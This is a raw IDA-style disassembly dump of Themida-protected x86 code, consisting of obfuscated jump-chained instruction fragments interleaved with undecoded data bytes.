; ---------------------------------------------------------------------------
		db 48h
		dd 0A55CB25h, 68F2D1Bh,	0C7218AB5h, 0FFA74BE9h,	0E9F201FFh
		dd 527Dh, 60E9E189h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50930F:				; CODE XREF: Themida_:0050D1D4j
		push	28h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5033FA
; ---------------------------------------------------------------------------
		db 1
		dd 5D04246Ch, 27AEE9h, 19A2BF00h, 0D6E90332h, 50000025h
		dd 4B8h, 69EE8100h, 10C3468h, 1826E9C6h, 0C2810000h, 495B5421h
		dd 0E92434FFh, 0DE8Fh, 0FF243489h, 8B042474h, 0C4812434h
		dd 4, 5C24048Fh, 9C240431h, 0FF975AE9h,	0E95066FFh, 6893h
; ---------------------------------------------------------------------------


loc_509378:				; CODE XREF: Themida_:0050BD1Fj
		mov	edx, 178D3817h
		sub	edx, 5CC70F4Fh
		jmp	loc_517479
; ---------------------------------------------------------------------------
dword_509388	dd 240C8B66h, 0FF99F4E9h, 0E9C201FFh, 0A54Ah ; DATA XREF: Themida_:00502848o
; ---------------------------------------------------------------------------


loc_509398:				; CODE XREF: Themida_:0051253Cj
		push	18DDh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 68EB2C83h
		or	ebx, 450C6B1Ah
		add	ebx, 92109069h
		add	eax, ebx
		pop	ebx
		jmp	loc_510D02
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 17E92434h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5093DF:				; CODE XREF: Themida_:00506BA9j
		push	ecx
		mov	ecx, esp
		jmp	loc_517632
; ---------------------------------------------------------------------------
		db 89h
		dd 0BCE952E0h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5093EF:				; CODE XREF: Themida_:00516236j
		pop	edx
		inc	ebp
		shr	ebp, 3
		inc	ebp
		neg	ebp
		sub	ebp, 0F3D69215h
		sub	eax, 45FF31FFh
		jmp	loc_50783C
; ---------------------------------------------------------------------------


loc_509407:				; CODE XREF: Themida_:0050D57Fj
		push	ebp
		mov	ebp, 187A6B29h
		jmp	loc_508AB4
; ---------------------------------------------------------------------------
word_509412	dw 8B66h		; DATA XREF: Themida_:00502998o
		dd 4A682404h, 8900003Bh, 0F682414h, 89000069h, 0E9562424h
		dd 7E09h
; ---------------------------------------------------------------------------


loc_50942C:				; CODE XREF: Themida_:005102D2j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_50D52A
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 565C243Ch, 4BEh
		dd 8BF32900h, 6BE92434h, 53FFFFE1h, 0CB21E9h, 97B85000h
		dd 0E9774742h, 8812h, 4C481h, 0AEE90000h, 1FFFFDAh, 0D7015EF2h
		dd 0D9E0E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509482:				; CODE XREF: Themida_:0051747Bj
		add	edx, 0BAC628EDh
		push	edi
		mov	edi, 527414C5h
		jmp	loc_50FDC4
; ---------------------------------------------------------------------------
byte_509493	db 66h			; DATA XREF: Themida_:005029E0o
		dd 52240C8Bh, 6EC6E9h, 0CF815B00h, 10184429h, 9CE9EFD1h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5094AB:				; CODE XREF: Themida_:00506B8Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 713340Dh
		xor	eax, edx
		xor	edx, eax
		jmp	loc_503DB9
; ---------------------------------------------------------------------------
		dw 3835h
		dd 517DD541h, 596B81B9h, 0E772E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5094D2:				; CODE XREF: Themida_:0050A34Cj
		xor	ebp, 0FF5CDE83h
		xor	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 3BBF4A09h
		shr	ebp, 8
		add	ebp, 46D42333h
		dec	ebp
		jmp	loc_504BCA
; ---------------------------------------------------------------------------
		dd 24148B59h, 0FFCA30E9h, 1AE981FFh, 81297B44h,	2A731CC1h
		dd 81D90164h, 2A731CE9h, 0DB57E964h, 55510000h,	43275BBDh
		dd 0F5814D1Dh, 176768CCh, 7333F581h, 0C14D2B25h, 0ED8106EDh
		dd 8404F0h, 0E95DE989h,	75B6h
; ---------------------------------------------------------------------------


loc_509538:				; CODE XREF: Themida_:00513066j
		pop	ecx
		add	eax, edi
		jmp	loc_50643D
; ---------------------------------------------------------------------------
		dd 4C681h, 4DE90000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50954B:				; CODE XREF: Themida_:00507997j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_50DF91
; ---------------------------------------------------------------------------
aRs__		db 'Ñàé__',0
		dd 0F0F68100h, 29DD6618h, 0F3A5E9F7h, 58E9FFFFh, 81FFFF95h
		dd 53634FC7h, 0CBC4E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50957E:				; CODE XREF: Themida_:00509DADj
		mov	eax, 15201970h
		and	eax, 767E391Ch
		jmp	loc_5055DE
; ---------------------------------------------------------------------------
		db 0BAh, 32h, 39h
		dd 0C2836507h, 0E95250FFh, 6F1Ch, 34FFF931h, 243C8B24h
		dd 4C481h, 89510000h, 4C181E1h,	56000000h, 415D3BBEh, 0EE814623h
		dd 23415D38h, 7E9F101h,	66000080h, 4244401h, 0D0E95866h
		db 0BEh, 2 dup(0)
aNsU		db '­é',7,'u',0         ; DATA XREF: Themida_:00502968o
		dd 0BB0F6600h, 0E99C2404h, 0FFFF94E7h
; ---------------------------------------------------------------------------


loc_5095E4:				; CODE XREF: Themida_:0050F2F8j
		sub	esi, 0A2C21A7h
		inc	esi
		neg	esi
		jmp	loc_5134C4
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0BA525C24h, 418010F5h, 4A04EAC1h, 0A3ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_509605:				; CODE XREF: Themida_:00517E1Aj
		add	ebx, esi
		add	ebx, 3F9444AFh
		jmp	loc_513BAE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 0EB82404h, 0E91A0A62h,	9F41h
; ---------------------------------------------------------------------------


loc_509628:				; CODE XREF: Themida_:0051519Ej
		mov	edx, esp
		jmp	loc_509E06
; ---------------------------------------------------------------------------
		db 68h
		dd 13D668B6h, 1408E9h, 5AD53100h, 62B2B951h, 0E9816788h
		dd 4B6C427Fh, 68C1C181h, 0CD2993A1h, 5DEB0159h,	0E904EC83h
		dd 0DD85h, 2E3C166h, 46EB8166h,	0D3F76604h, 7EBC166h, 0D6EB8166h
		dd 0DA89664Bh, 5266535Bh, 2FB5E9h
		db 0
; ---------------------------------------------------------------------------


loc_50967D:				; CODE XREF: Themida_:00517E50j
		pop	ecx
		and	eax, esi
		pop	esi
		jmp	loc_505956
; ---------------------------------------------------------------------------
		dw 315Eh
		dd 242C8BEBh, 4C481h, 0D9890000h, 68241C8Bh, 3D3Bh, 54243489h
		dd 4C6815Eh, 83000000h,	348704C6h, 0EF815C24h, 3C116867h
		dd 4CDC781h, 0CF015A04h, 4CDEF81h, 0C7815A04h, 3C116867h
		dd 83240C8Bh, 3C8704C4h, 24248B24h, 9CC88566h, 0FF93EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5096DD:				; CODE XREF: Themida_:00510523j
		push	ebx
		jmp	loc_508B3B
; ---------------------------------------------------------------------------


loc_5096E3:				; CODE XREF: Themida_:005083CEj
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_50B89B
; ---------------------------------------------------------------------------
		dd 405h, 4EC8100h, 89000000h, 0E9552414h, 0D786h, 81D7F74Fh
		dd 834EF7C7h, 8B5D5789h, 0C481243Ch, 4,	0FFABCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509729:				; CODE XREF: Themida_:0050C16Dj
		pop	edi
		pop	edx
		push	ebp
		mov	ebp, 3889719Ch
		add	edx, ebp
		pop	ebp
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		sub	ecx, 4A9D32C8h
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5075FE
; ---------------------------------------------------------------------------
word_50974E	dw 30ACh		; DATA XREF: Themida_:00502A44o
		dd 41F568D8h, 1C890000h, 4EC8124h, 89000000h, 0B652240Ch
		dd 4E68073h, 80C2F680h,	38E901EEh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509773:				; CODE XREF: Themida_:00510555j
		push	edi
		mov	edi, 5B396260h
		jmp	loc_516BCB
; ---------------------------------------------------------------------------
aAiqsn		db '€ëŸé­¿',0
		align 2
		dw 0F751h
		dd 0E9592414h, 0FFFFC99Fh, 0B6568h, 242C8900h, 0E460E9h
		db 0
; ---------------------------------------------------------------------------


loc_50979D:				; CODE XREF: Themida_:00516646j
		pop	esp
		jmp	loc_516DB8
; ---------------------------------------------------------------------------
aLF14F34F14Sur	db '‹$$f14$f34$f14$éî',0
		dw 8B00h
		dd 31662424h, 33662414h, 31662414h, 8B662414h, 89532434h
		dd 11CC68E3h, 4890000h,	2737B824h, 0E70546B8h, 0C1E26350h
		dd 0E95207E0h, 0FFFFC1E1h, 54243489h, 6332E9h, 14E95A00h
		dd 59FFFFCFh, 0F75BDE21h, 0E95351D6h, 0FFFFEAD1h, 4E5488BEh
		dd 0E6814E03h, 3AA70979h, 0FFED7FE9h, 24248BFFh, 0FFF1B4E9h
		dd 5DEA01FFh, 815AD729h, 0EB2E47C2h, 0E9FA0106h, 0FFFFC29Fh
; ---------------------------------------------------------------------------


loc_509830:				; CODE XREF: Themida_:005146FDj
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 12AD5AFEh
		sub	eax, 0A32621C7h
		mov	edi, eax
		jmp	loc_502E0F
; ---------------------------------------------------------------------------
		dw 48Bh
aS_8		db '$é',7,8,0
		align 2
		dw 0E95Eh
		dd 0FFFFFCFAh
; ---------------------------------------------------------------------------


loc_509860:				; CODE XREF: Themida_:0050CF4Fj
		mov	esi, 0E944D45Dh
		add	eax, esi
		pop	esi
		add	ecx, eax
		jmp	loc_50A01D
; ---------------------------------------------------------------------------


loc_50986F:				; CODE XREF: Themida_:0050F122j
		add	esp, 4
		push	edi
		jmp	loc_50F67A
; ---------------------------------------------------------------------------
		dd 505AD501h, 3466FEB8h, 2E0C126h, 72DD8F7h, 29672E64h
		dd 0E95358C5h, 1FCFh, 3BE4BD55h, 0DDF7006Eh, 0EDC1E5D1h
		dd 3DED8105h, 8907F91Ch, 0EB6DE9EEh, 348BFFFFh,	4C48324h
		dd 0D224E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5098BA:				; CODE XREF: Themida_:005069D6j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_515122
; ---------------------------------------------------------------------------


loc_5098D2:				; CODE XREF: Themida_:0050C336j
		add	edx, esi
		add	edx, 5D240122h
		add	edx, 3430691Fh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_515778
; ---------------------------------------------------------------------------


loc_5098EB:				; CODE XREF: Themida_:00504953j
		mov	[esp], edx
		jmp	loc_50E384
; ---------------------------------------------------------------------------


loc_5098F3:				; CODE XREF: Themida_:0050D62Bj
		add	ecx, 8C729A18h
		jmp	loc_502ED3
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0C3815C24h, 2, 31241C33h, 1C33241Ch,	4FF7E924h, 0D1400000h
		dd 68E8h, 4290000h, 32D5824h, 29C6D64Bh, 0C9C9E9C2h, 0E0890000h
		dd 820CE9h, 89515300h, 4BE56E1h, 1000000h, 0E9835EF1h
		dd 240C3304h, 33240C31h, 0E95C240Ch, 0FFFFE774h, 0D251E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50995A:				; CODE XREF: Themida_:0050F86Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_50A84B
; ---------------------------------------------------------------------------


loc_509963:				; CODE XREF: Themida_:0050793Cj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		jmp	loc_504FFA
; ---------------------------------------------------------------------------


loc_50997B:				; CODE XREF: Themida_:00512134j
		mov	ebp, 4C604FF7h
		shr	ebp, 1
		or	ebp, 43CE7D21h
		and	ebp, 47B31C2h
		add	ebp, 7BBE76A2h
		jmp	loc_51229A
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 0C8ABE951h, 0EC81FFFFh, 4, 0FF95F9E9h, 242C89FFh
		dd 0AA6B56BDh, 0F584E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5099BE:				; CODE XREF: Themida_:0050FF42j
		mov	[esp], edx
		mov	edx, 762D71F7h
		add	[esp+0Ch], edx
		pop	edx
		sub	[esp+8], edx
		sub	dword ptr [esp+8], 762D71F7h
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]
		jmp	loc_510FD8
; ---------------------------------------------------------------------------
		db 48h,	40h, 0C1h
		dd 0D8F705E8h, 78E8B05h, 58C20125h, 6360EA81h, 12E96221h
		dd 57FFFFB8h, 986D53BFh, 0E9FB016Ch, 5952h
; ---------------------------------------------------------------------------


loc_509A10:				; CODE XREF: Themida_:00504AACj
		pop	ecx
		jmp	loc_510350
; ---------------------------------------------------------------------------


loc_509A16:				; CODE XREF: Themida_:00512A5Aj
		pop	ebx
		sub	esp, 4
		jmp	loc_503AFA
; ---------------------------------------------------------------------------
		db 59h
		dd 251EE9h
		db 0
; ---------------------------------------------------------------------------


loc_509A25:				; CODE XREF: Themida_:00512A4Fj
		mov	edi, eax
		jmp	loc_50346C
; ---------------------------------------------------------------------------


loc_509A2C:				; CODE XREF: Themida_:0050B3E9j
		mov	esi, esp
		jmp	loc_5073DB
; ---------------------------------------------------------------------------
aPsg@		db 'PéG@',0
		dd 778EBA00h, 0D0290B18h, 735FE9h, 4B39B900h, 0CB0149FDh
		dd 7463E9h, 0E9C3B700h,	1Fh, 2C87D5F7h,	2434FF24h, 4C4815Ah
		dd 81000000h, 498DC3EAh, 8BD701F7h, 0E9E92414h,	0F6FFFFE9h
		dd 69EF80D7h, 1C8BF800h, 4C48124h, 0FF000000h, 815B2434h
		dd 4C4h, 0EEE95300h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_509A97:				; CODE XREF: Themida_:0050881Aj
		mov	edi, 20F1804h
		sub	ebp, edi
		pop	edi
		not	ebp
		jmp	loc_50F06C
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 1BE51310h, 5F79E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509AB2:				; CODE XREF: Themida_:00504526j
		mov	ebx, 62BE0B4Bh
		dec	ebx
		xor	ebx, 0AA3366h
		sub	ebx, 62143828h
		add	edx, ebx
		pop	ebx
		jmp	loc_512214
; ---------------------------------------------------------------------------


loc_509ACC:				; CODE XREF: Themida_:0050A76Fj
		add	edx, 14D16A3Bh
		add	edx, ebx
		sub	edx, 14D16A3Bh
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	[edi+24h], ebx
		jmp	loc_5164C4
; ---------------------------------------------------------------------------


loc_509AEF:				; CODE XREF: Themida_:00515BA3j
		add	eax, edi
		pop	edi
		pop	esi
		push	52C4h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_506F4F
; ---------------------------------------------------------------------------
		db 31h
		dd 36E92414h, 89FFFFCBh, 7A08E9F5h, 0EC830000h,	242C8904h
		dd 9D4BE9h, 42D00h, 6BE90000h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_509B37:				; CODE XREF: Themida_:00502EBBj
		add	esp, 4
		not	esi
		or	esi, 4B69399Ch
		shl	esi, 4
		push	eax
		mov	eax, 0
		sub	eax, esi
		mov	esi, eax
		pop	eax
		jmp	loc_517D62
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 1B586824h, 34890000h
		dd 74C7E924h, 0BB530000h, 74CD0311h, 8C80E0BFh,	5BDF298Bh
		dd 6EEAEF81h, 0E7E93569h, 51FFFF93h, 0FB4CBDB9h, 95BA523Fh
		dd 0B83D9322h, 8982EBA0h, 0E95AD001h, 8559h, 83242489h
		dd 0E9042404h, 0FFFFA87Ch, 19F2815Ah, 81676808h, 3B2116CAh
		dd 5BBD5575h, 317FBB65h, 0BE95DEAh
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_509BCF:				; CODE XREF: Themida_:0050889Dj
		sub	edi, esi
		push	edx
		jmp	loc_509CA8
; ---------------------------------------------------------------------------


loc_509BD7:				; CODE XREF: Themida_:00515D4Bj
		mov	esi, 4
		add	ecx, 78EF5A8Ah
		add	ecx, esi
		jmp	loc_50443F
; ---------------------------------------------------------------------------
aITs		db '‰<$Té}<',0
		align 2
		dw 1C89h
aHU		db '$h)u',0
		align 2
		dw 0C89h
		dd 41F3E924h, 475A0000h, 0B850554Fh, 4963071Ch,	0EC24150Dh
		dd 2E8C16Bh, 0FB10D40h,	3A052E93h, 0E93B541Bh, 0FFFFC594h
		dd 4EA81h, 14870000h, 24248B24h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 2F6B1A9Bh
		add	ebx, 1D4F611Eh
		add	ebx, 6CC72952h
		xor	ebx, 0B981A50Fh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		jmp	loc_50CEC2
; ---------------------------------------------------------------------------
aSic		db '\鉖',0
		align 2
aIxspw		db '䌎pW',0
		dd 7D03BD00h, 0E9534124h, 0FFFFDFB5h, 2924248Bh, 2434FFE8h
		dd 85E9515Dh, 5DFFFFF6h, 7F36C981h, 0BB537941h,	3A2F4954h
		dd 0FFEDA3E9h, 48804FFh, 0A5ECE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509C9E:				; CODE XREF: Themida_:0050603Cj
		mov	ebp, edx
		pop	edx
		sub	ebp, eax
		jmp	loc_504EBF
; ---------------------------------------------------------------------------


loc_509CA8:				; CODE XREF: Themida_:00509BD2j
		mov	edx, 71E42B8h
		shr	edx, 7
		not	edx
		jmp	loc_50A12E
; ---------------------------------------------------------------------------
		db 81h
		dd 6B2080EEh, 92A1E964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509CC2:				; CODE XREF: Themida_:0050F4EDj
		sub	edi, 3771280Fh
		pop	edx
		add	edi, 51E628CBh
		sub	edi, ebp
		push	ebp
		jmp	loc_511A47
; ---------------------------------------------------------------------------
		db 0BBh
		dd 5DE73187h, 0CE7DC381h, 0A8E9A218h, 0BBFFFFF1h, 5C3E2515h
		dd 558AEB81h, 7DE9454Fh, 0BB0000D3h, 39347F1Bh,	0FE3EC381h
		dd 56E94128h, 66000083h, 81240C8Bh, 2C4h, 0EFCF8000h, 66FFEF80h
		dd 6678F868h, 88240C89h, 88D1F6F9h, 0F65966CFh,	0F1E780DFh
		dd 886FC780h, 241C8BF9h, 4C481h, 0C8000000h, 0E9536659h
		dd 0FFFFDC25h, 0FFFFFFBAh, 0FB2AE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509D4E:				; CODE XREF: Themida_:005127F9j
		pop	ecx
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_50BD72
; ---------------------------------------------------------------------------


loc_509D5A:				; CODE XREF: Themida_:0050A02Dj
		or	edx, 3778370Ah
		xor	edx, 362E7AC1h
		sub	ecx, edx
		jmp	loc_503116
; ---------------------------------------------------------------------------


loc_509D6D:				; CODE XREF: Themida_:0050F993j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_511006
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3810000h, 2, 0E9241C87h, 0FFFFFA17h, 4C581h
		dd 90E90000h, 4FFFFDDh,	7E0C0BDh, 3F2CE134h, 48BC528h
		dd 88BBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509DAA:				; CODE XREF: Themida_:00513C9Ej
		mov	[esp], eax
		jmp	loc_50957E
; ---------------------------------------------------------------------------
		dw 14E9h
		dd 29FFFF8Dh, 0C15896F0h, 0EE8107E6h, 9FBE3BFDh, 0F32BF57h
		dd 0FA0129F4h, 48D1E9h,	815D5400h, 4C5h, 0E244E900h, 0BD55FFFFh
		dd 2FD42E02h, 6395C681h, 0C6815214h, 1587588Dh,	0EE81EE29h
		dd 1587588Dh, 6395EE81h, 2C8B5214h, 0CF8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509E06:				; CODE XREF: Themida_:0050962Aj
		push	ebp
		mov	ebp, 4
		jmp	loc_5033A9
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
		dd 24048124h, 4, 332EE9h, 0DE015F00h, 57241C8Bh, 0BE56E789h
		dd 4, 505EF701h, 0FFC870E9h, 0F7415AFFh, 4244E9D1h, 4BB0000h
		dd 1000000h, 89565BDDh,	0A318E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509E52:				; CODE XREF: Themida_:0050C9C2j
		pop	ebp
		mov	ebx, [esp]
		push	6029h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_50F2D6
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 31E90000h, 560000A1h, 0C5335268h, 0BBACE969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509E7A:				; CODE XREF: Themida_:00514A61j
		sub	edi, 0C5D143CEh
		sub	eax, edi
		pop	edi
		pop	esi
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_509E89:				; CODE XREF: Themida_:005136FBj
		mov	[esp], ebx
		mov	bl, 1Fh
		sub	bl, 0Ch
		jmp	loc_50F758
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4EA81h, 14870000h, 0C895C24h, 85BA5224h, 0E95E3C22h
		dd 0FFFFA5D1h
; ---------------------------------------------------------------------------


loc_509EB4:				; CODE XREF: Themida_:0050E4F8j
		push	38250816h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5152D0
; ---------------------------------------------------------------------------


loc_509ED0:				; CODE XREF: Themida_:0050BEDDj
		shr	eax, 0Bh
		xor	ecx, eax
		push	6295h
		mov	[esp], ebx
		jmp	loc_503B42
; ---------------------------------------------------------------------------
		dw 0F501h
aSsR		db 'SéÄr',0
		align 2
		dw 0D6F7h
		dd 0FFA762E9h, 39C0BFFFh, 0F8893E81h, 81243C8Bh, 4C4h
		dd 0FFC08300h, 844B172Dh, 4EC8143h, 89000000h, 0C6BD242Ch
		dd 0F72B795Eh, 81D5F7DDh, 0DC1FE6F5h, 0E1F3E90Ah, 2BDFFFFh
		dd 81000000h, 0AF063DE9h, 81E9014Bh, 0AF063DC1h, 46A4E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509F3E:				; CODE XREF: Themida_:005059EBj
		xor	cl, 6Dh
		xor	dh, cl
		pop	ecx
		push	ecx
		mov	cl, 0A3h
		sub	dh, cl
		jmp	loc_50DFC1
; ---------------------------------------------------------------------------
		dw 8758h
		dd 0E95C2414h, 0FFFF8B73h, 1C28B951h, 306831D3h, 89000030h
		dd 0ABB241Ch, 87023649h, 87DEF7F3h, 0D144E9F3h,	0FF57FFFFh
		dd 8B042474h, 0C481243Ch, 4, 8B24048Fh,	0BCE92424h, 81000044h
		dd 4C4h, 0C685100h, 89000018h, 4832424h, 59E90424h, 81000026h
		dd 0CB0244F6h, 5EF18935h, 0FF0FBA52h, 0D6898BC5h, 0DFEE815Ah
		dd 2965F318h, 0DFC681CEh, 5965F318h, 2D5EF101h,	298B346Bh
		dd 63E9C829h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_509FD7:				; CODE XREF: Themida_:0050AEFEj
		or	eax, 3C9B7BDCh
		jmp	loc_51096C
; ---------------------------------------------------------------------------


loc_509FE1:				; CODE XREF: Themida_:0050B79Dj
					; Themida_:0050D1C6j ...
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_5066D4
; ---------------------------------------------------------------------------


loc_509FEC:				; CODE XREF: Themida_:0050C5FBj
		mov	esp, [esp]
		push	6391h
		mov	[esp], ecx
		push	edi
		jmp	loc_508C07
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 86E2E9h, 4BE00h, 0C3810000h,	29377661h, 0EB81F329h
		dd 29377661h, 3FEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50A01D:				; CODE XREF: Themida_:0050986Aj
		pop	eax
		push	eax
		mov	eax, 4
		push	edx
		mov	edx, 6B371FD0h
		shr	edx, 8
		jmp	loc_509D5A
; ---------------------------------------------------------------------------


loc_50A032:				; CODE XREF: Themida_:00514032j
		mov	ebp, esi
		pop	esi
		xor	ebp, 29DD6547h
		add	ebp, 1F6452D4h
		push	6F9Ah
		mov	[esp], ecx
		mov	ecx, 21341375h
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 28C5DAD7h
		jmp	loc_50BA81
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0BA520000h, 4, 875AD701h, 895C243Ch,	49E95FFBh
		dd 40FFFFA4h, 4EC8356h,	0FFF928E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A089:				; CODE XREF: Themida_:0050F82Ej
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_516C1B
; ---------------------------------------------------------------------------


loc_50A0BA:				; CODE XREF: Themida_:00517638j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_510AC0
; ---------------------------------------------------------------------------


loc_50A0C8:				; CODE XREF: Themida_:00507204j
		push	ecx
		mov	ecx, 6CC07DEDh
		xor	ebx, ecx
		pop	ecx
		jmp	loc_506041
; ---------------------------------------------------------------------------
		dw 483h
		dd 348B0424h, 4C48124h,	0E9000000h, 78E7h, 0C681E689h
		dd 4, 8704C683h, 815C2434h, 5B62ECE3h, 4E9576Ch, 8900006Eh
		dd 3DB82404h, 0D1043A61h, 2DE8D1E8h, 0F06346A9h, 8158C609h
		dd 0EB5716EEh, 9CF68119h, 0E91E8601h, 0FFFFF8DBh, 0C80AE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A12E:				; CODE XREF: Themida_:00509CB2j
		sub	edx, 4B9B0920h
		sub	edx, 63089E7Bh
		add	edi, edx
		pop	edx
		jmp	loc_51253B
; ---------------------------------------------------------------------------


loc_50A142:				; CODE XREF: Themida_:00516CF2j
		add	eax, esi
		jmp	loc_50B49D
; ---------------------------------------------------------------------------
		db 1, 0D6h, 5Ah
		dd 65C668h, 24348900h, 42474FFh, 5E2434FFh, 815D5455h
		dd 4C5h, 375E900h, 5CE90000h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A16F:				; CODE XREF: Themida_:00514360j
		pop	eax
		push	ebx
		mov	ebx, 0
		jmp	loc_514BA6
; ---------------------------------------------------------------------------


loc_50A17B:				; CODE XREF: Themida_:00506788j
		add	esp, 4
		shl	ecx, 4
		jmp	loc_503865
; ---------------------------------------------------------------------------
byte_50A189	db 66h,	8Bh, 4		; DATA XREF: Themida_:00502890o
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 68243489h
		dd 47B7h, 5EEB68h, 48F5400h, 24048124h,	4, 5324048Fh, 4EC81h
		dd 3C890000h, 12706824h, 0E95F5CD4h, 0FFFF8EEEh
; ---------------------------------------------------------------------------


loc_50A1D0:				; CODE XREF: Themida_:00510D70j
		pop	ebp
		add	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5107AD
; ---------------------------------------------------------------------------


loc_50A1F7:				; CODE XREF: Themida_:0050C9D6j
		mov	esi, edi
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_50718C
; ---------------------------------------------------------------------------
aFi4SU		db 'f‰4$é~U',0
		db 0
; ---------------------------------------------------------------------------


loc_50A213:				; CODE XREF: Themida_:0050E6B3j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	edx
		push	eax
		push	ebx
		push	7036794h
		pop	ebx
		add	ebx, 8779FD6h
		jmp	loc_5070D3
; ---------------------------------------------------------------------------
		dd 89240489h, 3F7368E0h, 14890000h, 7A1CBA24h, 0EAC1178Fh
		dd 7B3DE905h
		db 2 dup(0)
